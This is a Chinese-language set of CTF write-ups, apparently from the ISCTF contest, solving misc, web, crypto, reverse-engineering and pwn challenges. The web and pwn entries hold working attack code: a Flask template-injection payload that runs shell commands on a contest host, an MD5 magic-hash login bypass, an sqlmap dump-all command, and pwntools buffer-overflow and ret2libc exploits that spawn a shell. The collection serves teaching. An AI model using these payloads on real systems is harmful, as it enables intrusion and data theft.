恰饭题,下载二维码的左右两半后使用画图工具或PS等工具拼合后扫描即可。或者也可以根据二维码左右两边中的“蓝鲨信息”直接搜索蓝鲨公众号。
1.补充完整文件名为txt文档,打开文档获取字符串 SVNDVEZ7aHVhbl95aW5nX2xhaV9kYW9fQ1RGX2RlX3NoaV9qaWV9
2.使用在线工具 http://ctf.ssleye.com/base64.html (其他可进行base64编解码的工具也可以) 进行base64解码,字符集选择utf8
3.解码后获得flag :ISCTF{huan_ying_lai_dao_CTF_de_shi_jie}
根据回复的信息特征及第一个回复are you ook?可以推测出文本信息是替换过后的Ook!编码,用文本替换工具
普信男. 替换为 Ook.
真让人下头! 替换为 Ook!
您配嘛? 替换为 Ook?
替换过后用Ook!编码工具解码
解码得到 ZmxhZ3sxX0kwVmVfeTB1X3Qwb30=
Base64解码得到flag
flag{1_I0Ve_y0u_t0o}
下载附件是压缩包,解压出一张图片,用010打开,可以发现里面有压缩包文件头。将图片的jpg后缀改成zip,打开还有个没有后缀名的文件,提示了是zip,加上zip后缀就get flag了。
进入游戏,进入单人游戏,发现是个迷宫
走迷宫能看到告示牌上的部分flag
在最后一块flag位置会被传送到红石音乐
点击按钮播放红石音乐,音乐结尾处字幕为Base64的flag
解码并将flag连在一起
使用Wireshark打开流量包
根据题目描述登录流量,搜索http
在流462里找到登录包
在流467里找到flag
本题解题示例在windows平台演示
1. 右键图片,使用Windows默认记事本(或者其他编辑器)打开
2. 使用编辑器的查找(Ctrl+F)功能,查找内容 ISCTF
3.flag 为 ISCTF{chu_fa_cai_hong_hai}
解压文件得到flag,010查看头尾相反是逆序的jpg
f = open('flag','rb').read()
res = open('flag.jpg','wb')
res.write(f[::-1])
再用foremos分离出带密码的压缩包,需要密码,根据提示弱口令去爆破,得到密码admin123
打开压缩包,得到flagISCTF{5ecdfs-avcsefh-dhvldncmd}
pcapng文件,流量包,使用Wireshark打开
根据题目名称可知是BadUSB,查找相关资料可知是通过USB-HID进行攻击,查找设备描述
USB键盘设备,找到键盘流量
根据HID输入数据推断出flag
两个附件,一个打乱的二维码,一个摩斯电码音频。
二维码推荐打印出来用手拼,ps还得扣来扣去,经过仔细计算还是打印出来手拼快(前提是身边有打印机,没有的话建议买一个,以后碰到拼图题乱杀)
音频题可以用耳朵听,我有个学弟是听出来的,惊为天人!最好还是用下面这些软件,都可以查看音频的波形图。
有个小坑,提交flag是不对的,需要改一下格式,我在音频里面留了很大空隙,就是在暗示有下滑线。
最后完整的flag是:ISCTF{U_f0und_The_half_Y0u_Find_me}大小写不敏感
BitLocker Wizard运⾏时间
HTLM\SYSTEM\CurrentControlSet\Control\FVEStats\OsvEncryptInit
value: 132741897867405652
BitLocker 加密终⽌时间
HTLM\SYSTEM\CurrentControlSet\Control\FVEStats\OsvEncryptComplete
value: 132741901078561213
同时value的时间还可以利⽤右键Data interpreter进⾏转换
HTLM\SYSTEM\CurrentControlSet\Control\FVEStats\OsvEncryptInit value:
132741897867405652 -----> UTC TIME(+0): 2021-08-23 10:56:26
HTLM\SYSTEM\CurrentControlSet\Control\FVEStats\OsvEncryptComplete
value: 132741901078561213 -----> UTC TIME(+0): 2021-08-23 11:01:47
转换后可得了本题⽬的flag
https://ducktoolkit.com/ 利用这个去解bin
得到其源码 其中有个下载exe的url
下载下来ISCTF.exe 然后自解压 提取出ps1
把iex改为echo 输出解密的内容
然后去解unicode即可
str = r'\u-65463?\u-65453?\u-65469?\u-65452?\u-65466?\u-65413?\u-65436?\u-65
str = str.split('?')[:-1]
list = []
for i in str:
list.append(65536-int(i[3:]))
r = ''
for i in list:
r += chr(i)
print(r)
#ISCTF{d1D_y0u_L1KE_unic0dEAndDuck?}
下载附件,发现是一个31*31的图片,查看颜色发现RGB里只有B通道有值,提取B通道的值
from PIL import Image
def img2text(im):
width, height = im.size
lst = []
for y in range(height):
for x in range(width):
blue = im.getpixel((x, y))[2]
if blue == 0:
break
lst.append(chr(blue))
return ''.join(lst)
def main(filename: str):
all_text = img2text(Image.open("flag.bmp"))
print(text)
得到
504B030414000000080047A655531DB1CCF1490100008E03000008000000666C61672E747874B591516A5D310C44FF0BDDC32C20BC55B47FFDED02545BF745605B8E253DB2FCCA790D24DC504AA07FD7D7F28C66CE0F5DDC21D3A2A36AD325307150677F40D1615C9C3D9681AA4CB122E38AC24DF2DAB8E61B074B58D70AE73E75414691A34A8DE10847A35FE901F6BB3EA3D37510A8C95350BFE0670A0CE9A98F2EF971E09667EA0F780A31C150F31515FCCCAB88938B0E446BD48BEA5D5D0C23476DDBBDE8CACC71304946E8B99ADA3D4B3AFA05DF521785C219B262F17DB1DC1B8BE7E2471E9597F8FE71D316333D19B79D19CA668C22ADBDF695C902475C851C63AF85492B0FB12EF8FE5C783AC7829A641B5A0A71C9C112532AF97E9261E652A93C76A3315E6C4BB4493B3FF438A408A1B2F1DAB75DDB5E8476654DB216FB5371F4CBD72F279C1FD37C0BF32DCB8F50FE23C933C8771CFF8AF11DC513C4578627849F22F84980FF85DF09DF6F504B01021F0014000000080047A655531DB1CCF1490100008E030000080024000000000000002000000000000000666C61672E7478740A0020000000000001001800043195317AC6D701043195317AC6D701AFA712187AC6D701504B050600000000010001005A0000006F0100000000
504B开头可以推断出为压缩包,转换为压缩包后打开
打开flag.txt,发现是两段类似文字,两段相减得到flag
社工题,百度搜索图片
结果如下
选择一张图片查看出处
从文章中确定出大概地点
百度地图搜索金马碧鸡坊,确定广场名叫金碧广场
view-source:url
查看源代码获得flag
登录界面随便输入就会得到hint
关键代码如下:
if (!ctype_alpha($name)) {$logined = false;}
if (!is_numeric($pwd) ) {$logined = false;}
if (md5($name) != md5($pwd)) {$logined = false;}
这三句代码的意思是$name需要提交一个字符串类型,$pwd要提交一个数字类型,并且他们的md5值相等,就可以成功执行下一步语句
0e比较时会作为科学计数法,无论0e后面是什么,结果都是零
输入账号:QNKCDZO
密码:240610708
成功绕过得到flag
根据题目名称和题目内容可知是反序列化和pop链构造
这里解题的关键点在 class Show这个对象没有被创建,所以需要构造出pop链,创建Show这个对象,让Show对象里面变量$test2=la,于是让file_get_contents输出flag.php的内容
exp如下
pop =new Show();
}
}
class Show{
public $test2="la";
function action(){
}
}
echo urlencode(serialize(new MF_is_cat()));
?>
将输出用POST提交
1.打开题目直接点击图片进入登陆界面
2.输入单引号报错说明存在注入,直接sqlmap一把梭
sqlmap -u 地址 --dump-all
1. 根据题目名称和网页标题,访问robots.txt文件
2.根据robots.txt里的内容我们发现有一个为flag_is_here.php的文件,访问一下文件,获得flag
根据题目名称搜索可知flask存在模板注入,出于初学者思想可以找到注入点然后尝试获取配置信息/wow?id={{config}}
secret key里面就是flag
当然也可以用常规方法构造payload
附上一个师傅的payload
http://123.57.253.184:20501/wow/?id={% for c in ().__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__=={}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("grep ISCTF *").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
按顺序拼完1-15即可得到flag
根据题目名称结合密码学搜索可知为曲路密码,根据题目描述为5*5,附件长度为25,可知是5*5的矩阵,根据上下上下上,从尽头出发可以还原矩阵
首先解压缩包。观察到13.txt文件,所以尝试rot13解密
得到密码为yunnanuniversity
将第一次解压后的文件的kz中进行16进制处理
文件头为50 4B 03 04为zip文件的文件头,将文件修改为zip文件,输入密码yunnanuniversity.
有三个文件subject.py Cipher.txt Public_key.pem
使用Python读取公钥文件获得n与e
pub1=RSA.importKey(open('public_key.pem').read())
n = pub1.n
e = pub1.e
将n放到http://www.factordb.com/index.php?query=
网站中分解得到p、q
构建私钥d
fn =(p-1)*(q-1)
d = gmpy2.invert(e,fn)
随后观察subject.py
发现c是RSA循环加密了s次再Base64所形成的密文
s为一个随机数
构建一个for循环
范围为1,100尝试解出flag
for i in range(100):
m = pow(c,d,n)
c = m
print(libnum.n2s(int(m)))
print("第",i,"次解密")
在输出结果中找到了flag。(可将输出复制到txt中再搜索)
多因子RSA,n可直接分解
#exp
import libnum
import gmpy2
n= 79059977083433369161977159472257563109008119475755288439774758824887836857424336032518651862088590700241980200158542855762122262156445632897757444422514158062996501037323379
e= 65537
c= 31573591986915001857640263466939164206307247748465148395978810720215094970707002043721991055789084518831540652652824225863275289979959264564070907438540016782921324316795681
#yafu分解n
p = 2514358789
q = 2930880917
r = 10728308687033142242263042720863820844383961098139391476856378846439202568058060175330323889963293720874263174254928466703829537388987357384056877938482683
phi_n=(p-1)*(q-1)*(r-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(libnum.n2s(int(m)))
考虑到密文可能为以两个字母为一组,有规律的数字+字母组合,此时可设法将其转为Hex,通过爆破偏移量发现:当偏移量为-13时,此时的密文中数字字母正好符合Hex的范围,因此可直接转换
对于后续密文的识别可使用ciphey、basecrack等工具
ROT13-Hex-Base32-Base64(Alphabet:ROT13)-Base85
(ROT13等价于移位偏移量-13,Ascii85即Base85,Hex即Base16)
根据题目名称和描述,结合密码学搜索可知是shamir门限方案,https://mp.weixin.qq.com/s/m_lDVdXMrM1W8U-PrB9CHw,使用python的secretsharing库即可解密
from secretsharing import SecretSharer
import binascii
shares=['1-12a6bd8768c049913e049a99a707a270', '2-193b4367e502b4881d4ff26443f5c252', '3-1406e4e4c90dbc2df1176fc144339223', '4-309a1fe14e16082b95b12b0a7c111e3', '5-66437ab3c87da186761adb326e9e4191']
deflag=SecretSharer.recover_secret(shares[0:3])
flag=binascii.unhexlify(deflag)
print flag
根据题目给出的脚本可知是生成随机数,然后用随机数作为密钥加密,给出了624个随机数和密文,需要求出第625个随机数进行解密,搜索随机数预测可知随机数是使用Mersenne twister算法生成的,搜索相关资料可以找到https://www.cnpython.com/pypi/mersenne-twister-predictor,在python里使用附件的随机数进行预测
from mt19937predictor import MT19937Predictor
a=list(map(int,'''703362636
2885071567
2148334099
158526243
3127480695
1731098768
251692209
2222228328
3710972916
1091672518
3850321381
1173282210
2511671816
596990677
1617988974
3480021935
1541725006
2282671473
3839181165
3714491759
2952621727
895745998
3924153764
236826403
934975238
943009634
3160417553
2650385307
2902796050
2823042457
3786992570
1944252258
2742429395
1595415959
3590679928
2056544382
531715113
3245809941
2947441145
2399525924
3668876203
1734485232
2357554014
4071900197
3238312284
2476192072
1599162232
235715674
2023959364
775456488
655196482
2536645321
1281061517
282965842
1993184527
3307584843
261784170
4101120243
1868231305
2714193740
2721947661
174423810
999434642
4128528555
3673867515
2016360776
4125088396
446199651
4178785551
2704029236
876883426
1614123652
3044602550
3637580621
4098721316
567350828
2240535704
1575330544
229274293
2339634463
4165716183
3463722293
2914821327
1090954241
2212386602
428110214
2475992193
1086017336
4072124174
971461055
4061962486
885375834
1434958410
741873716
4250967881
160710491
1243387876
537807037
2226883396
4095380483
3713279414
3652015885
1264351991
2601740619
1795458982
101461209
4089523203
1500029496
2987908
1197111180
2561658253
1998615886
1168718863
2318170197
3830816893
99733580
2199788720
1468246660
4157621870
2656509089
3305198715
473354845
1216861934
4074883080
3288922677
802360718
1918482173
2819759205
4012967236
2068817661
3480782802
4252643589
2306714950
316617767
2428802475
1368170085
4281119340
1467182400
3324166390
1712189613
3494936678
3987637179
1702527271
580047516
1381598338
2061720883
2816296178
594386630
2609575095
1387365888
2958862771
1931519111
563503685
2750901103
2986283498
1545476650
17038719
748368905
1256818550
674104958
45683042
2062961262
2823001107
648822576
3494412554
720166498
3633150026
347134736
3348005679
132746126
1363495423
1464100622
1741860549
3793947034
2684059893
3270133096
2467345610
3794058715
1924135851
4184060552
1940441430
2370856295
4222768120
2331556150
1922939820
2169974010
2647257360
2047213679
3315243097
773717041
1133320978
1661399037
952993241
2612682844
1149660082
1408883741
26175379
263617771
152471865
3624147087
3870262946
3892862769
3063145823
523127664
2882737076
657116541
4030349183
917247369
2048214795
4191719066
1299572485
1259244659
4213290060
2183941613
3301922985
3289520648
2106409266
3596617168
3779618761
1148661922
4163079633
829064477
4019498736
3203688385
1785731700
4275964595
858295271
4206962768
323240770
2867678980
3333810626
2065469320
2738436608
3306976822
3194990279
3987180835
154003886
366924577
1821006758
762460912
1465798437
3658588777
1392324410
177593110
3899969204
447782465
975287066
2948147375
3734643627
3196653719
3078444982
4234821587
2963997931
1435658995
1837053
542777841
537711964
2272408275
1048379924
406660926
3594113809
1915087818
2852237243
2196188513
3926440990
1742263915
2852022162
2385559812
2420583889
686882137
2189333651
1221918136
561685933
333426381
3332926658
2087273033
3259916929
3575670416
2174196426
1997051279
668603161
2413925068
374271913
2824671970
1808284413
1982516467
700858606
1215845690
604997838
2832332492
3838468772
2655196413
1287107072
2706658253
2819376802
2674890809
1449913035
2360535842
3045671832
780267756
3492470469
642664016
241523585
2746557649
3801001858
557984548
2181655056
2053138510
1111948598
121911704
2116364741
3315229869
699331502
2011841414
1059562792
1446454619
3328521882
2980290647
2737720488
2001634097
117649548
1667157354
3051614641
2890391371
1269768316
1124203551
1327231549
2199144427
468298349
3978387312
716633340
76543934
3281746919
3911075207
1768725764
3591803699
2959290013
4078174444
3193505727
2535486193
2444202697
1655297317
1792531712
547885819
335279571
227538523
1857139813
67434537
4241780616
4189224636
51481092
1944098580
3965732541
757343665
3310191045
2902648171
41491807
78446086
1318278482
2374210287
960000910
1736795875
3217968531
4173562471
235850563
4238754858
2916717954
3594909204
2673440459
2642054412
3525826425
3820916265
3515529872
3051771063
2532000641
686865560
274463072
102630556
197430534
824358877
2819503964
1375415114
1263845554
2817830758
680756536
3119766624
2270380055
2326366979
2562825932
2669171372
2584326381
2356757611
961896659
2301933851
2508749524
2008238875
1934594097
3880521123
3179575741
3379460237
3361342848
4117772332
2332650326
3982092238
3869881074
1261385873
2380286083
1519249086
1487347960
3539899731
1674136127
3219921473
1152076153
771377838
2423142245
76718513
685789200
4259257974
840226836
945900203
4230870803
2569779761
2699990398
75757503
3851360036
1313763555
3812008213
2341845172
1068170979
1555551431
1505707654
2631859767
1451441638
3166962893
1039362085
2336040858
1932305109
3756882884
2713869846
768907750
411835529
2643656135
60963194
2663471907
1051289876
2086172458
2517104140
4185084154
3025606535
1385773333
386697213
3509778559
4218964335
2346280200
2656896463
3230090331
2876400171
1994210671
293250733
2224827118
2642072364
3919069781
143753414
2380528805
2469703147
2644900359
905751935
992379659
4104216834
1685370243
2762808341
2865612054
4180358195
3061039321
3996867255
2547237708
1732170756
853262500
3212906494
2625114021
1188979430
4001600508
2739044077
4000970578
2555352090
118398963
1499288790
3977421307
2183926526
4119405310
518819333
2135918476
1257390106
535051419
1887408995
801794665
1029223542
1232486753
13785060
1537596970
1084887099
2653875694
1828796448
3415174025
2796866923
2768863537
3911543369
2307126749
2323641374
88095934
1104405212
3419345928
3089660039
2486801550
2730176688
2379198731
1895026732
131521844
692022399
2911628894
321859730
3822020567
1403492861
826384923
1015254712
2494814275
1342105371
1093267293
1423522580
1480200043
2602735065
902685426
2056123491
953344476
4144505864
3631111258
257626059
3638246078
2323202796
3534150029
2943030565
833726295
1309881019
775001886
1908787608
2703091834
1038393535
1746871472
2738728799
550273105
1446112096
1289936623
2511840419
259473237
2753080167
2366643071
3624576249
3065886548
3345173903
15641530
571786924
2488498906
2805169585
1201545978
1328183580
2457572233
1541470324
1491600143
865474188
645474358
322108766
1460487695
2851088914
1931297573
3637945537
1941641816
3857188011
3707748318
2833948077
3286215384
1773712682
3861617495
1571866120
1741479901
142907880
271528956
238437700
1078800495
2823551472
3356938263
258137656
3046758853
1987635064
3346031945
2967436542
381157863
112154109
348766689
2366152072
1573006342
3804978211
3960062252
4132654850
3603769698
1730503748
3676811775
855621305
1875685724
1707493245
2190486990
3096712231
3994773078
2783042114
4220342573
1637186132
3156808901
88571043
4288275904
1072772671
4053047601
3015059787
3785621964
3518200394
3513351722'''.split('\n')))
predictor = MT19937Predictor()
for i in a:
predictor.setrandbits(i, 32)
print(str(predictor.getrandbits(32)))
可得到随机数3763948799,作为密钥使用AES-ECB解密得到flag
e与φ(n)不互素
#exp
import gmpy2
from Crypto.Util.number import *
# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
msg = gmpy2.iroot(m, t)
if msg[1]:
print(long_to_bytes(msg[0]))
p= 135406272915839663948982508259168339196413423033707377351582717408135201161291947411690398070725136534418000750068523816458786100037135542069749803825803176245899663700018918204457909082934286787984577920819722071614325832117549949176386055577917668392717683643933279741971553133044965672217515958006018425207
q= 141499967777554698157827398588073190546048161142442371043319091793202159392937117317909316830021492737369017974252412948824878182004132437165872836769442232191985031274210566004860441962404283572352416239402475111512429494403506484997417885317393735452834730615296387016523054424102807140640940320044291046001
e= 894
c= 285599740642531890154220175592437844999990780403815630307661459001713176317615138628516144325413153232796819897801881107425865913054728954677352027457699314702416360013205027660502210085125607181176890689285963882325311472422689397465349673391413548284592577544566069076266866047930427530566329183924506279416975701558074448835820462125272973167295304050434568652119366359340574659484793805164709585039574539722702352716480226900050322661650017379886614397585534285036799547237613356555628012895080401615470840003601931382810917605930301582006344272146554650976008053460139711071700513559719126632374724028665834623
decrypt(p, q, e, c)
注意到m2与m1呈线性关系,此时可使用Franklin Reiter
参考链接:https://paper.seebug.org/727/#43-franklin-reiter
sagemath:
n=95587878777633457712771077861034164878218007211732872086703082427025284038734073722525350247252021434969755949232136071401015995927195956787389015816040788670336377590142763231354554070366181264021083507258416574251611662836423194484700341105611819435848709315571900313318932989155213069438624597581376096919
a=8148274285376731469630646414567940438407613039123927029192149790588715641540606813881834241911738725252707074817442402177237967817804420371483845842902231
b=9944999010165189354017274928734887652060645960820869672700674403006764312275448509638591901570545531313058741811202384719307206506483462331704719044400878
c1=1870704366656953386352816295794415188411021228249016204037205250475471490295719163599101603443054766225481004510415813930027376456511655528372027273843117886139717834189065273068836018423957958033253086582500645476025731783186122169863569195566258360470326607481719859396822157309140555156145108464948303484
c2=73255380295741602810215998117368212335852087176390783730568276178375345944401489472119142216343959193098593837507600341773896221941166940563956033779653381698066185496693623741658031273011213568043342267706206340976896722388323992521780876436269830484416265647861652562217726795508745205674083028929318260061
e=19
import libnum
def franklinReiter(n,e,c1,c2,a,b):
R. = Zmod(n)[]
f1 = X^e - c1
f2 = (X*a+ b)^e - c2
# coefficient 0 = -m, which is what we wanted!
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
# GCD is not implemented for rings over composite modulus in Sage
# so we do our own implementation. Its the exact same as standard GCD, but with
# the polynomials monic representation
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
m=franklinReiter(n,e,c1,c2,a,b)
print(libnum.n2s(int(m)))
解法1:注意到e=3,且m1、m2只差1
因此考虑e=3情况下的相关信息攻击+RSA padding attack
#exp
import gmpy2
from Crypto.Util.number import *
n = 4204420773617479943564859167286821133009223627804172573263590117785622718525161236597233398439402100826272190957218464786259692632804955516979471884796171
e = 3
c1 =2472980534576281392558886476940549411151541741395435035178216067058424274579199860482131340986643214114691172763529231832373323600612645856564185998644266
c2 =3187049937811823373965320946136219840500070255491222077303817795527750241053576957767965313420456458983759851110615696314773380132732017115202532855996999
def get_m(a, b, c1, c2, n):
a3 = pow(a, 3, n)
b3 = pow(b, 3, n)
tmp1 = ((c2 + 2*a3*c1 - b3) * b) % n
tmp2 = ((c2 - a3*c1 + 2*b3) * a) % n
tmp3 = gmpy2.invert(tmp2, n)
tmp4 = (tmp1 * tmp3) % n
return tmp4
m = get_m(1, 1, c1, c2, n)
print(long_to_bytes(m))
解法2:由于本题m2是m1的特殊线性关系(m2=m1+1),因此也可使用Franklin Reiter
#exp
n=4204420773617479943564859167286821133009223627804172573263590117785622718525161236597233398439402100826272190957218464786259692632804955516979471884796171
c1=2472980534576281392558886476940549411151541741395435035178216067058424274579199860482131340986643214114691172763529231832373323600612645856564185998644266
c2=3187049937811823373965320946136219840500070255491222077303817795527750241053576957767965313420456458983759851110615696314773380132732017115202532855996999
e=3
import libnum
def franklinReiter(n,e,c1,c2):
R. = Zmod(n)[]
f1 = X^e - c1
f2 = (X+1)^e - c2
# coefficient 0 = -m, which is what we wanted!
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
# GCD is not implemented for rings over composite modulus in Sage
# so we do our own implementation. Its the exact same as standard GCD, but with
# the polynomials monic representation
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
m=franklinReiter(n,e,c1,c2)
print(libnum.n2s(int(m)))
出题思路:https://www.52pojie.cn/thread-326995-1-1.html
难点在于upx的去除,出题时先用upx加壳,又修改了upx的标志,这让upx -d 无法直接脱壳,解决办法有两个,第一个是重新修改upx的标志
把R改成U就可以用可以直接脱壳
第二个方法就是x64dbg动调,可以把壳脱掉,各种脱壳的方法可以在ctfwiki上找到
后面的逻辑就是简单的异或,写脚本即可
(这里可以看到文件是64位,od一般是只能打开32位的,所以这里我们用x64dbg)
对于新生,upx -d失败后,出现
搜索红色的报错部分,或直接搜索upx脱壳失败,也可以在网上找到相关资料,作为签到题不会特别难,多利用搜索引擎解决题目,也是一种很好的办法
考点:c#反编译
游戏题目
unity的游戏直接找Assembly-CSharp.dll 文件!,大部分的逻辑都在这个文件中
用dnspy打开该文件即可
在这里直接定位到主要逻辑
我们不用分析后面的加密是什么,修改判断条件,把游戏难度调低,就可以自动出来flag
红色圈出来的是两个判断条件,第一个判断条件是总分达到100000,第二个判断条件是你必须打死301个小怪物,我们直接修改判断条件(右键 编辑类,就可以修改代码),保存,打游戏通关
其他解法:打游戏通关(应该没人能通关),或者用ce修改器修改(这里加入的第二个判断条件就是为了防止ce修改器直接修改分数而拿到flag,小小的增加了一点难度)
其他解法:注意到判断血量下面有ISCTF,根据代码跟踪ScoreAndFlag.SHA1和ScoreAndFlag.md5函数,分析函数逻辑得出flag
载入IDA
这里生成seed的函数被hook,函数sub_401090为真正的seed生成函数
有一点花指令,去掉即可
写个生成随机数的函数可以得到生成的数字,注:应在windows上vs系列x32编写程序
[58,17,167,129,86,29,160,130,208,124,102,205,88,231,90,141]
可以得到解密代码
from z3 import *
import struct
xor = [58,17,167,129,86,29,160,130,208,124,102,205,88,231,90,141]
enc = [0x74406252, 0xb5526422, 0xbf6f7cb5, 0xde6e9431]
s = Solver()
k = [BitVec('%d'%i, 32) for i in range(4)]
def encrypt(x):
return (x^(x<<22))
for i in range(len(enc)):
s.add(encrypt(k[i]) == enc[i])
if s.check() == sat:
m = s.model()
m = [m[k[i]].as_long() for i in range(4)]
else:
exit()
q = b''
for i in range(len(m)):
temp = struct.pack('
ISCTF{Its_easy_right?}
https://www.anquanke.com/post/id/179556
ISCTF{427346092+CRC_1963701148_}
通过分析日志,根据逻辑推断出flag(出题人已跑路)
flag:flag{i_want_j0in_d1u}
使用java运行,提示输入flag
使用jd-gui打开,找到main
可以看到
查看加密算法
将明文与ctf异或并Base64加密,反推得到解密算法
import base64
a=base64.b64decode("NBEKABsLBisvMDcyJUZWUUU=")
b="ctf"
for i in range(len(a)):
print(chr(a[i]^ord(b[i%3])),end='')
题目为powerPc-64le架构
通过 ghidracraft 可以看到伪代码
代码用了ollvm 但是并不影响判断基本逻辑,输入flag 然后调用check_flag()
此时是很明显的ollvm混淆,但是通过下面if语句中的基本判断(没有去符号表) 可以得到30组方程
if语句中都是方程组,当然可以通过使用ghidracraft自带的ollvm_de_flattening脚本
去混淆前
去混淆后
可以清晰的看到checkflag逻辑,求解方程组即可
from z3 import *
s = Solver()
flag = [BitVec(('x%s' % i), 8) for i in range(30)]
s.add(flag[0] * 77 + flag[1] * 83 + flag[2] * 13 + flag[3] * 24 + flag[4] * 29 == 17427)
s.add(flag[0] * 77 + flag[1] * 65 + flag[2] * 56 + flag[3] * 88 + flag[4] * 60 == 26360)
s.add(flag[0] * 6 + flag[1] * 12 + flag[2] * 71 + flag[3] * 17 + flag[4] * 10 == 8319)
s.add(flag[0] * 27 + flag[1] * 51 + flag[2] * 3 + flag[3] * 61 + flag[4] * 43 == 14539)
s.add(flag[0] * 24 + flag[1] * 46 + flag[2] * 99 + flag[3] * 9 + flag[4] * 31 == 15129)
s.add(flag[5] * 63 + flag[6] * 95 + flag[7] * 19 + flag[8] * 92 + flag[9] * 52 == 37057)
s.add(flag[5] * 3 + flag[6] * 96 + flag[7] * 77 + flag[8] * 98 + flag[9] * 10 == 32948)
s.add(flag[5] * 35 + flag[6] * 78 + flag[7] * 65 + flag[8] * 39 + flag[9] * 9 == 26376)
s.add(flag[5] * 54 + flag[6] * 86 + flag[7] * 11 + flag[8] * 38 + flag[9] * 35 == 26040)
s.add(flag[5] * 73 + flag[6] * 39 + flag[7] * 25 + flag[8] * 4 + flag[9] * 27 == 19506)
s.add(flag[10] * 73 + flag[11] * 64 + flag[12] * 20 + flag[13] * 35 + flag[14] * 59 == 25863)
s.add(flag[10] * 73 + flag[11] * 19 + flag[12] * 44 + flag[13] * 82 + flag[14] * 70 == 29890)
s.add(flag[10] * 84 + flag[11] * 94 + flag[12] * 73 + flag[13] * 46 + flag[14] * 19 == 32057)
s.add(flag[10] * 40 + flag[11] * 81 + flag[12] * 3 + flag[13] * 74 + flag[14] * 26 == 22219)
s.add(flag[10] * 47 + flag[11] * 21 + flag[12] * 72 + flag[13] * 73 + flag[14] * 73 == 30086)
s.add(flag[15] * 63 + flag[16] * 56 + flag[17] * 53 + flag[18] * 38 + flag[19] * 51 == 27154)
s.add(flag[15] * 8 + flag[16] * 93 + flag[17] * 52 + flag[18] * 95 + flag[19] * 14 == 26494)
s.add(flag[15] * 92 + flag[16] * 27 + flag[17] * 51 + flag[18] * 48 + flag[19] * 36 == 26840)
s.add(flag[15] * 39 + flag[16] * 35 + flag[17] * 94 + flag[18] * 18 + flag[19] * 58 == 24836)
s.add(flag[15] * 59 + flag[16] * 5 + flag[17] * 11 + flag[18] * 50 + flag[19] * 58 == 19517)
s.add(flag[20] * 90 + flag[21] * 69 + flag[22] * 40 + flag[23] * 85 + flag[24] * 9 == 30046)
s.add(flag[20] * 74 + flag[21] * 76 + flag[22] * 52 + flag[23] * 74 + flag[24] * 43 == 32733)
s.add(flag[20] * 24 + flag[21] * 92 + flag[22] * 80 + flag[23] * 33 + flag[24] * 46 == 28595)
s.add(flag[20] * 59 + flag[21] * 17 + flag[22] * 94 + flag[23] * 7 + flag[24] * 38 == 23052)
s.add(flag[20] * 52 + flag[21] * 74 + flag[22] * 79 + flag[23] * 67 + flag[24] * 30 == 31335)
s.add(flag[25] * 97 + flag[26] * 52 + flag[27] * 8 + flag[28] * 49 + flag[29] * 32 == 26602)
s.add(flag[25] * 50 + flag[26] * 97 + flag[27] * 33 + flag[28] * 7 + flag[29] * 52 == 25787)
s.add(flag[25] * 28 + flag[26] * 8 + flag[27] * 86 + flag[28] * 65 + flag[29] * 86 == 31030)
s.add(flag[25] * 63 + flag[26] * 78 + flag[27] * 27 + flag[28] * 31 + flag[29] * 21 == 23723)
s.add(flag[25] * 99 + flag[26] * 79 + flag[27] * 26 + flag[28] * 90 + flag[29] * 4 == 32541)
if s.check() == sat:
m = s.model()
for i in range(0, 30):
print(chr(int("%s" % (m[flag[i]]))), end='')
else:
print("failed to solve")
下载附件,用IDA打开
缓冲区溢出,找到catflag函数
查看保护
除了NX 以外全开
拖入IDA
进入func()
在main函数中,给a1传入的是0xDEADBEEF,但是在func中要求a1为0xBEECAFEE才能执行shell
查看栈
读入的s在函数栈的相对位置是-0x28,
a1对应的arg_0在栈中的相对位置为+0x8,,因此,我们只需要给s读入0x28+0x8的padding,即可劫持a1的值。
0Exp:
from pwn import *
p = process('./help_my_shark')
payload = 'a'*(0x28+0x8) + p32(0xbeecafee)
p.sendline(payload)
p.interactive()
查看保护
拖入IDA
进入关键函数vuln()
gets()存在栈溢出
查看栈
读入的v1在函数栈的相对位置是-0x20,
函数返回地址对应的r在栈中的相对位置为+0x8,,因此,我们只需要给s读入0x20+0x8的padding,即可劫持函数返回地址。
使用ropper查找pop rdi; ret; 和 ret; 这两个关键的gadgets
之后开始ret2libc,利用puts泄露GOT表中记录的puts的绝对地址,之后通过puts的绝对地址减去ELF文件中记录的puts的相对地址计算出libc基地址,之后计算出system以及”/bin/sh”的地址。
Exp:
from pwn import *
from LibcSearcher import *
# 也可以根据题目提示Ubuntu 16.04直接下载Ubuntu 16.04的libc.so来计算
p = process('./pwn02')
elf = ELF('./pwn02')
#gdb.attach(p,'b system')
pop_rdi = 0x400783
ret_addr = 0x400506
payload = b'a'*0x28 + p64(pop_rdi)+p64(elf.got['puts']) + p64(elf.plt['puts']) +p64(elf.symbols['vuln'])
p.recvuntil("your play:")
p.sendline(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("puts_addr => "+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump("puts")
info("libc_base => "+hex(libc_base))
str_bin_sh = libc.dump("str_bin_sh")+libc_base
system_addr = libc.dump("system")+libc_base
info("binsh => "+hex(str_bin_sh))
info("system => "+hex(system_addr))
payload = b'a'*0x28 + p64(ret_addr) +p64(pop_rdi)+p64(str_bin_sh) +p64(system_addr)
p.sendline(payload)
p.interactive()
下载附件,使用IDA打开,反编译
可以看到有canary保护,缓冲区溢出,格式化输出,尝试使用覆盖Canary最后一位方式解题,
函数列表中有catflag
将返回地址修改为catflag地址即可
查看栈中数据
可知输入40位即可泄露canary
接收canary,v4与buf相差32,填充并覆盖返回地址为catflag地址
from pwn import *
catflag=0x4011d6
p=remote("123.57.253.184",10002)
p.recvuntil(b'name\n')
